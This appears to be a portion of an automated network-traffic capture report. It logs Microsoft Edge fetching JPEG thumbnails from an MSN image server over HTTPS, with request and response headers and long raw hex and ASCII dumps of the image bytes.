2024-11-16 12:01:40 UTC	16384	IN	Data Raw: fb eb 82 d5 c1 6f b6 02 e4 18 5a f5 03 80 ca 87 53 a3 a6 9f f7 11 55 bf fc 49 0b 34 d4 c0 fe a2 00 98 1c 1d e3 53 6f 71 72 e2 2d a4 a9 6a 4a 12 35 24 c0 7c 1b df 5a ec ed 20 a8 2f 1f 48 a4 f3 2f e7 3d cf 73 dc f7 d7 0a ae 28 28 24 ee a7 44 89 cc 0d 32 cd d1 f4 8e 31 6f 0c e2 1d 73 27 c0 64 fa 4c 59 b5 ed 17 fe e3 c3 73 79 07 08 12 05 b2 09 27 a2 94 ad 06 c0 ea ab be 57 d4 0d c5 5a bb 72 d0 4d bc 41 2b 52 40 27 a0 c2 a1 52 74 91 cd f9 5b 9e 92 3f c7 74 2e 41 a9 34 33 15 00 74 19 55 d6 5d a1 6a 08 58 50 98 1b 46 47 57 75 d1 37 f5 56 45 eb aa 80 b2 a2 a4 1c 48 2a 93 5c d3 27 ad 79 87 ce 38 8c 8c 27 ad 69 ef 60 16 a4 98 c4 54 12 52 a0 0e 47 a4 1d b0 5c 56 22 41 02 71 c9 81 32 78 66 ca 24 ac a4 4f b5 1f dd fb 4b ff 00 c8 ed ac dd fd e8 49 3b 62 be 6f f3 ea 16 Data Ascii: oZSUI4Soqr-jJ5$\|Z /H/=s(($D21os'dLYsy'WZrMA+R@'Rt[?t.A43tU]jXPFGWu7VEH*\'y8'i`TRG\V"Aq2xf$OKI;bo
2024-11-16 12:01:40 UTC	1933	IN	Data Raw: a8 d7 5e 3c 7a 8e 86 5f 40 13 75 69 29 30 70 d6 95 ca 78 17 cb 36 d4 0e 84 4c 88 ac d3 23 4a 57 27 d5 c6 2d 2c 20 a4 63 16 80 e8 64 d4 ef 1e 0e e2 99 7f 94 c2 46 e4 a1 61 2a 95 68 6b 95 0e 8d 37 71 22 d9 4a d4 07 a9 8a 91 a8 11 e1 3a 3a 76 d4 45 e5 2a 08 f1 f7 54 d5 f5 af 5b c6 8b 69 cb 14 89 d4 f5 aa a7 fd 3d 5e bd b3 eb db ce dc 80 a4 d2 a1 15 e7 56 38 d7 80 23 78 45 53 cf c2 5f 43 b9 02 dd c2 81 bb b7 7a 41 e1 58 1c 1a 10 2d dc 50 2a c4 a9 30 06 91 d0 99 ff 00 f1 0f 9d f6 dc f4 bf 6a ca 3b 8b 41 67 e6 12 0c f0 76 c0 16 51 04 d0 55 e5 9b 78 4d c4 82 4a 49 d0 c7 4e 14 63 72 25 16 ea 05 2b 90 09 7e 88 f3 e4 e7 25 69 45 d5 aa 46 e2 77 7a 02 75 88 cc 09 a3 e1 19 24 91 d7 f3 e2 fa fd c6 f5 c2 27 00 59 de 39 0c a9 f9 74 d0 8c 58 a2 bf 97 c3 37 5c 67 d8 c4 a8 Data Ascii: ^<z_@ui)0px6L#JW'-, cdFahk7q"J::vET[i=^V8#xES_CzAX-P*0j;AgvQUxMJINcr%+~%iEFwzu$'Y9tX7\g
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: d1 f1 42 d2 52 a5 2e 71 0b 85 2a 09 32 20 83 0a db 26 1a d4 23 0a aa 9d a6 36 cf 0e ae 92 b1 7a a5 49 32 08 de 00 1a 82 3e 6a d3 da 5e f8 a6 d7 2d 27 3c 20 48 d3 5a f5 7d ae d7 d3 b4 71 a8 5d 2a 07 44 c0 4c 71 ac 9f 73 e3 f6 a1 4b a7 ed 3e d2 fb a9 49 34 4e ae 5b f4 69 d4 57 73 da 5f 05 37 81 48 15 95 50 cf f4 e1 24 ba 2b fa 65 c3 73 fc 64 7a 66 08 2a 3b d0 72 88 9f 73 ea f6 fd b2 6d ff 00 92 e4 12 2a 3a 0f 1c df 3b b9 fa cf 6d 69 2a f4 88 2b 4a b7 93 86 a0 f5 d4 0e 13 25 f3 97 ff 00 96 ac 9f 6b 89 ec 88 04 1f f1 a2 07 ca 4e 23 3f 09 34 3a ea fb 96 d2 8b 48 84 8c 29 1e dc df 87 ed fe ad 7b ba 50 4e 04 ef ab 76 a6 92 74 34 ac 70 87 ea ae 2d 52 02 6a 13 12 26 27 f5 e8 f1 66 bd ba 6f 65 14 a2 f8 50 b8 90 52 75 1c df 07 b9 ed 2c 21 2a f4 81 a2 56 44 a8 90 3d Data Ascii: BR.q2 &#6zI2>j^-'< HZ}q]DLqsK>I4N[iWs_7HP$+esdzf;rsm:;mi+J%kN#?4:H){PNvt4p-Rj&'foePRu,!VD=
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: fe 60 27 ac bf 45 0f 5b 9d 38 47 9f 1d 8a 8e 69 1e 3f 66 63 b1 58 3f 32 7c fe cf bc f2 1c e7 57 84 71 bf 84 af dc 9f 36 5f c1 fe bf 01 fa be c3 c9 73 95 38 c7 35 3d 98 1a a8 9e 41 bf f8 b6 fa ab c9 db 7a e7 2a ba 8a 07 b1 b0 ad 52 7c 63 dc e7 f0 bb 7f fe b9 e6 7e ef a0 f5 cd ae 9c ff 00 e0 f6 ff 00 fd 28 67 fc 5b 03 4b 36 ff 00 ed 0e eb c6 d8 ac 2d 5b 1a 5b 47 fd a9 fb 3d c0 91 a2 40 e4 3e cd f4 60 e8 c8 0e 73 1e 6f 5c a3 8a 9e da b9 c8 bc 8d 8c 74 74 6c 6c 79 03 87 8b d9 e2 59 48 ea c0 63 87 9b c8 1d 1b 29 c1 cf 6c 98 2b 93 d8 0f 49 d8 c7 46 1b 1b 7c 1c 8d af 67 da 1e 0d 91 b0 b0 8f 20 33 de e2 f0 9e a0 b0 c8 da f6 38 3c 94 bc 8e 0c 0e 18 c3 c9 1c 5e cf 12 c3 21 ca b2 9f ea 79 cc 30 92 ae a5 ca f5 79 21 c9 1e d2 c0 1e b2 97 b8 b8 30 c6 52 e0 23 8f 8b 3a Data Ascii: `'E[8Gi?fcX?2\|Wq6_s85=Az*R\|c~(g[K6-[[G=@>`so\ttllyYHc)l+IF\|g 38<^!y0y!0R#:
2024-11-16 12:01:40 UTC	7952	IN	Data Raw: 32 b9 78 a5 0a 55 d4 a6 12 2a 5c 08 4a 2d 85 48 99 d6 aa 24 f2 e1 c1 d8 52 e9 40 09 fd a5 d2 b5 de 5a bd bc 84 a6 78 81 25 f4 00 b3 77 7d 60 25 51 a8 26 3d f0 e8 72 14 85 8c 35 49 19 45 09 7c 0e e9 03 b3 5e 35 2a ea b1 ab 44 ca 87 34 c3 eb 0b 72 bc 29 23 00 ae 2f ee e9 dc 52 d3 74 a0 82 a4 c5 14 24 f8 e4 1c 0c 00 a8 63 13 24 52 41 14 d9 93 72 14 12 61 75 1b 1a ad 83 10 a3 3d 4e 9c a8 dc a2 0e e4 65 af f6 2e 8e 6d cf e4 a6 ee 3b 06 d2 ed fe d5 95 25 43 fe d0 59 ea a2 b2 12 95 1f 98 24 c8 3e 2f a2 94 85 01 d4 70 3a 72 68 b8 10 83 8a 4e c9 d3 9b 08 84 a0 4e 1d d3 d2 59 25 7a 8f 97 9c 79 87 cd 3d c2 2f 27 ff 00 d6 c2 b5 0a 10 a9 4f 99 a1 60 11 dc 26 54 a8 57 08 90 06 d1 52 c2 d0 de 98 24 c1 d3 8f 03 0d a2 e9 42 4e 33 ae 47 da ae 88 32 71 02 63 38 34 a7 b9 b4 Data Ascii: 2xU\J-H$R@Zx%w}`%Q&=r5IE\|^5D4r)#/Rt$c$RArau=Ne.m;%CY$>/p:rhNNY%zy=/'O`&TWR$BN3G2qc84
2024-11-16 12:01:40 UTC	8144	IN	Data Raw: 83 19 1f 26 38 7c 5d 03 34 a7 ea c6 b5 cd 91 1c 98 eb ab 0c 4a a0 c5 52 72 fe ee d9 40 5d 71 82 78 8d ef 17 56 a7 41 2e 53 3a 30 db 8b 88 0a 33 5c 9d 91 6d 4a 12 07 30 eb 99 3a d7 cd 92 14 51 40 4a 76 30 b2 3b 7f 49 32 20 f9 92 eb dc 54 0d e8 d9 1a 79 3b 57 31 26 02 14 36 d5 d7 de 57 cc a9 71 01 64 db 35 04 f8 17 8a b5 75 6a 9f 51 21 03 a4 9f 17 77 0c 0d da fb 98 cc 08 2a 1b 1d 42 2d a4 83 38 f1 74 81 a3 b6 ab ab 56 ee 04 9e 3a 79 b9 6d 25 54 11 3b 58 5c bf e8 1c 26 d8 55 72 58 f7 6a e0 72 12 94 e5 07 ab 8a bc 91 49 e5 fa 3a 1d ca ef 5c 41 16 50 a9 23 3a 01 cd f9 ab 56 7b ce dd 58 ee aa d8 4c d6 a4 ab 60 61 ec 8d e4 59 de 22 00 e1 01 f3 3b 8b 88 ef c4 5b 37 10 3a 85 47 91 60 9b ca bb 96 14 ff 00 55 49 e3 19 3b b6 90 54 6b fa 78 ba 39 f6 bb 13 60 7f e5 5a Data Ascii: &8\|]4JRr@]qxVA.S:03\mJ0:Q@Jv0;I2 Ty;W1&6Wqd5ujQ!w*B-8tV:ym%T;X\&UrXjrI:\AP#:V{XL`aY";[7:G`UI;Tkx9`Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49897	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 02:47:37 GMT X-Datacenter: eastus X-ActivityId: 5a6820f7-bfbe-479a-ab51-926a221c0b3e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1 X-Source-Length: 93971 Content-Length: 93971 Cache-Control: public, max-age=210746 Expires: Mon, 18 Nov 2024 22:34:06 GMT Date: Sat, 16 Nov 2024 12:01:40 GMT Connection: close
2024-11-16 12:01:40 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: e6 a4 36 cb df b3 ba c7 b3 04 ed 90 f6 e2 c2 e6 e2 15 12 1c 08 23 50 44 21 50 5e 9a f9 a6 e1 58 88 88 04 75 48 8b 6b 98 b4 55 49 21 35 87 dd 35 26 9a 44 0e 7e 35 49 54 56 24 0a c4 e4 3a d3 25 88 82 73 12 46 2c 8f 29 d5 48 5d 8d c6 6d ee 35 cf db 1b cd 13 3b 65 ce 68 24 82 2e d8 34 30 69 78 42 73 cb ea e3 26 05 79 08 4a a2 ca 49 52 35 6d 63 cb 5c f6 87 76 43 9c 40 9c 23 10 01 c4 8f c4 49 02 4e 65 45 b3 aa 23 1d 30 c2 ef d6 d3 47 11 31 13 3d c0 55 c0 10 0c 29 02 b4 c1 ad 79 db 8a aa 65 6e a9 71 fa 29 25 31 ae 97 e2 b4 2c 69 c5 4d 28 96 43 62 66 0e 29 81 59 31 87 5a 6b 9a bc 6c 6b dc 58 de d3 88 37 17 71 6e 2b 56 04 90 3a 20 95 58 4e 0c 52 db c4 4f 75 a6 70 e9 d5 4b 52 aa 41 6c 45 6f 3e 54 f9 a5 34 8f 1c b8 26 d6 cd c8 02 b5 e4 26 38 d8 2d 03 88 ad 46 87 29 Data Ascii: 6#PD!P^XuHkUI!55&D~5ITV$:%sF,)H]m5;eh$.40ixBs&yJIR5mc\vC@#INeE#0G1=U)yenq)%1,iM(Cbf)Y1ZklkX7qn+V: XNROupKRAlEo>T4&&8-F)
2024-11-16 12:01:40 UTC	2690	IN	Data Raw: 83 cc 99 ce ca d2 0c 19 c8 45 ea b3 1d 04 82 d0 6b 50 e2 40 a7 28 77 ba a9 07 3a 4d 94 43 71 18 32 64 d6 b0 78 ac a2 c5 12 20 1e a2 6e d3 71 06 2b 65 9d 79 10 66 b4 f4 e1 6e aa 84 dc 52 d6 14 06 66 2a 6b aa 89 fc a6 bc bd 62 2b d5 05 65 d2 1c 5c 6f d2 f5 d3 45 0d 70 26 b4 eb 68 eb 62 86 58 e8 2e 83 84 10 31 65 26 48 f3 85 27 aa 0b b8 38 bc d2 4b 9c 60 61 10 0f 5b cc 92 2b ce 55 07 46 d9 93 6b 0b c9 b5 81 a4 0e 0b 9b 6c 12 1d 04 d8 d2 40 91 a7 59 d0 23 34 c0 6e 29 70 ac b6 63 3b 50 cd 4f ba 63 2a 21 bb 8e 26 03 45 04 34 90 db 6a e2 7f 95 b0 06 48 37 b4 52 63 50 7a 84 f0 b9 ae 20 c1 ce 41 11 c2 25 ab 0d a9 ac cd a8 01 12 33 e5 09 d3 3c 41 70 b4 35 bd d8 84 d6 86 87 4e a9 b8 b3 07 6f 6b ad 84 09 10 3f d4 4c c9 e8 2b a8 45 a3 59 63 06 7b 64 1f 5a 8f 9a 0e 17 Data Ascii: EkP@(w:MCq2dx nq+eyfnRfkb+e\oEp&hbX.1e&H'8K`a[+UFkl@Y#4n)pc;POc!&E4jH7RcPz A%3<Ap5Nok?L+EYc{dZ
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 14 b8 0f 4e b9 ab 76 28 e7 5a 6b c3 35 0e 0e 1e 95 f4 52 11 c4 48 87 54 92 0d 22 04 d2 49 92 ea 6b a4 28 34 a4 9b da 0f 9f 14 da 70 65 5c f2 a7 8a a4 23 43 32 22 b9 29 63 12 08 10 39 ce a7 4d 07 45 a2 97 32 3c 80 5a 3a 52 4c 4e 7c 8d 13 ec ac 12 22 22 73 f2 b4 75 41 49 34 98 a7 01 3c d1 71 54 b9 b2 09 6f 68 69 23 0d 73 24 54 08 88 9e b2 82 40 8b cf 0f 4b d3 ad 16 98 3d 3a 28 c8 21 25 f5 2e a9 26 4e 66 6a 49 d7 8a ac 2e 74 40 8a c6 84 f9 88 f1 55 4e 3b 8e 2d 71 6b 41 c2 d0 dc 20 32 70 80 2a 03 44 bb fc 8e 66 b2 8b 1b 85 a1 a5 ce 2d 93 86 7f f9 60 dd f8 66 9a 12 42 8f a4 05 a0 07 f7 8e d1 42 29 31 9e 19 b1 d0 d5 63 d9 af 1b 1e 08 bb 90 21 87 00 0d c5 07 ba b5 26 fa 7f 8d 05 ea b1 3f a8 c9 6b 81 6e 17 00 40 23 15 08 c4 1c 2a 30 e5 10 79 27 d0 7a b9 27 92 c4 Data Ascii: Nv(Zk5RHT"Ik(4pe\#C2")c9ME2<Z:RLN\|""suAI4<qTohi#s$T@K=:(!%.&NfjI.t@UN;-qkA 2pDf-`fBB)1c!&?kn@#0y'z'
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 6e 23 e4 b3 a7 1c bb e0 35 97 19 e5 04 71 b9 5e 6c 02 bd 1d d2 37 43 87 22 29 02 f6 f1 2b 91 f4 02 84 00 63 f8 5d ba b9 77 3d a1 86 e0 44 1e 28 db 83 b4 13 e0 20 ec e3 dc 34 6b 9d 11 20 02 6e 60 4c 5a 49 03 9a 37 73 e8 05 8d be 55 95 a7 30 66 20 c1 13 6a 64 8a 48 36 d3 c1 49 c2 8d 65 00 04 9b 00 65 d9 4d c8 11 41 60 67 55 23 6e b1 6e b9 7a 14 b2 23 0c 9b 13 59 cf d1 10 1d 79 75 01 0e 1c c7 12 08 31 40 5a 69 cc 13 06 a8 ed 70 ac d4 47 23 d1 2c 90 dc 6b 36 b7 19 fa f6 df 8c 34 07 38 1c 6c 73 4c e2 61 11 18 aa 08 a8 21 03 0e be 0e 53 d1 74 5e 48 14 a5 6f 1f 75 0e 69 00 45 ef 33 79 e8 b5 19 04 cb 25 a0 83 20 13 4e 30 24 48 ea 85 4f ba 39 6f dc a4 fd bc 39 f7 66 0c 53 dd 68 39 cb 6f 33 e8 b0 ed 24 5e 69 5f e5 18 17 03 42 68 71 37 a3 86 7c d4 ba 93 20 e2 26 a4 Data Ascii: n#5q^l7C")+c]w=D( 4k n`LZI7sU0f jdH6IeeMA`gU#nnz#Yyu1@ZipG#,k648lsLa!St^HouiE3y% N0$HO9o9fSh9o3$^i_Bhq7\| &
2024-11-16 12:01:40 UTC	7952	IN	Data Raw: d6 1d 84 56 26 2d 9f 43 c5 71 b1 df af 67 60 dd 18 48 ac c5 26 3c 59 75 7e ce d0 24 44 45 6e 34 8e 2b ca 79 c8 b6 1d 63 34 f2 1e cb 35 f0 d1 39 5f 2e 0b 18 e9 a7 f1 0f 20 35 c0 c9 b1 5e 46 eb 85 e6 78 7b af 53 71 8e c2 c7 90 40 7b 65 a4 d9 e2 48 91 c4 47 35 e5 6e 06 c7 e3 06 69 5b 5e 64 75 a4 55 6b aa ed 41 80 74 27 82 1b 99 4a 9a e5 4a 55 13 08 26 45 00 3d 68 ba 4f c6 6f 1d cd a7 3b 03 ff 00 4e db b6 58 1c c0 47 eb 38 86 12 22 b1 8c 90 4d 41 88 b2 f4 75 cf 7b 8f 3f 79 7d a6 bc e7 35 b3 35 c3 94 c0 3f 78 cd 22 d1 48 33 23 2c ab 63 d5 14 ed 81 5a 9e a8 a3 6d a4 08 9b d4 88 a0 d2 33 56 8e 35 ca e6 80 75 f4 e0 8c 36 c5 d1 06 db 4c 56 01 35 c8 fd 0a 4e a4 0c 56 14 a4 1b 9b eb cd 1a dc 86 dc 46 18 26 b1 49 89 39 7a a2 3b 6f 03 a2 67 0d ce 40 f3 f6 e6 82 0f 5e Data Ascii: V&-Cqg`H&<Yu~$DEn4+yc459_. 5^Fx{Sq@{eHG5ni[^duUkAt'JJU&E=hOo;NXG8"MAu{?y}55?x"H3#,cZm3V5u6LV5NVF&I9z;og@^
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: 4a 69 a7 9b 1c 49 22 aa 12 59 fc 9f 71 c7 52 92 a2 92 3f 23 53 a5 fa 06 54 22 15 25 1f 94 fe 30 8a 19 45 28 65 6a 7c ba 3f 10 45 0c a2 94 32 b5 f9 47 e3 0c a1 94 42 a4 a7 f2 2f c6 1a 85 65 49 57 33 c1 17 52 55 15 32 b5 c9 70 4a 94 ca 92 53 3b 2e 09 2a 4a 72 a0 94 f2 5c 18 a9 5a 54 ca 79 2e 0c 52 52 5c a4 b9 5a b8 a9 64 32 f5 1f b1 06 75 1d 35 cf fb 02 df b9 a3 31 e6 8b 2f d1 a9 8e 89 4a 57 2b be 25 82 b8 82 03 be 31 83 aa 27 c7 df b7 fa 68 e7 d2 7f aa 7e af 43 10 54 1c bc 7f f7 cc ea 91 f8 e7 64 d3 c5 6b fd bf c9 7d 99 fc df 1c f7 7b ed 2b b7 6d b8 97 c6 3f fe 53 75 8e 22 02 bd bf f9 1f 8c 73 27 f6 96 5f fd 3e 81 72 ef fc 07 cb db df ac ff 00 9f 66 ba ff 00 19 f1 cf 19 da be e8 ec 3a 26 0a f2 be 23 7b 6f 6c c1 7b 47 49 5f 29 bb f1 9f 13 b9 47 6f 3c d2 c5 Data Ascii: JiI"YqR?#ST"%0E(ej\|?E2GB/eIW3RU2pJS;.*Jr\ZTy.RR\Zd2u51/JW+%1'h~CTdk}{+m?Su"s'_>rf:&#{ol{GI_)Go<
2024-11-16 12:01:40 UTC	1928	IN	Data Raw: a9 57 45 92 24 d1 0e b3 4a 2d 88 05 25 c0 73 44 8d 89 10 b2 8f d8 0a c0 f3 e0 ac 1a b5 51 55 18 b4 13 ea b6 37 73 1e e1 04 48 5a 88 12 6a 26 46 99 a8 c5 4d 47 a2 78 8d 74 62 01 6c 7f c7 d1 73 cc 18 3a 66 94 f8 36 f3 57 11 c9 d1 fb 2d d7 87 d9 2c 67 c7 82 82 09 e1 d0 cf b2 d3 cb ff 00 84 ab 8a da 3e 3f 02 16 c4 7c 7d c2 0c f3 f5 09 ce 77 e5 43 e4 ac 5a 36 29 f1 f7 58 1c 8d 34 28 53 9c c8 d0 dd 69 cd b4 e8 8c 3a 34 cb ba 8c c2 41 d2 26 e7 c6 88 77 a8 be 89 82 0b a6 ca c5 aa 92 e1 4e 23 f9 5a 97 b7 9f c9 4c c1 ee 17 cd 31 39 43 86 8a c2 ae b1 3e 47 ee 98 75 32 3d 2a 14 52 68 4b 4e 99 27 7f c8 7f dc 14 96 5d 84 67 c8 d4 2c 6a d0 44 18 50 45 2f 88 7b ad 43 f8 d0 e8 84 bc 41 c2 26 12 26 90 e1 4d 42 52 0d 1c 23 aa d2 e6 8a 59 48 c4 da 8e 1d 52 06 3f c9 be 89 1c Data Ascii: WE$J-%sDQU7sHZj&FMGxtbls:f6W-,g>?\|}wCZ6)X4(Si:4A&wN#ZL19C>Gu2=*RhKN']g,jDPE/{CA&&MBR#YHR?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49899	23.47.50.150	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:40 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:40 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH Last-Modified: Mon, 28 Oct 2024 20:47:24 GMT X-Source-Length: 293132 X-Datacenter: eastus X-ActivityId: 528b3f08-2792-4c00-b330-b79b3a540242 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 293132 Cache-Control: public, max-age=377306 Expires: Wed, 20 Nov 2024 20:50:06 GMT Date: Sat, 16 Nov 2024 12:01:40 GMT Connection: close
2024-11-16 12:01:40 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-16 12:01:40 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-16 12:01:40 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; 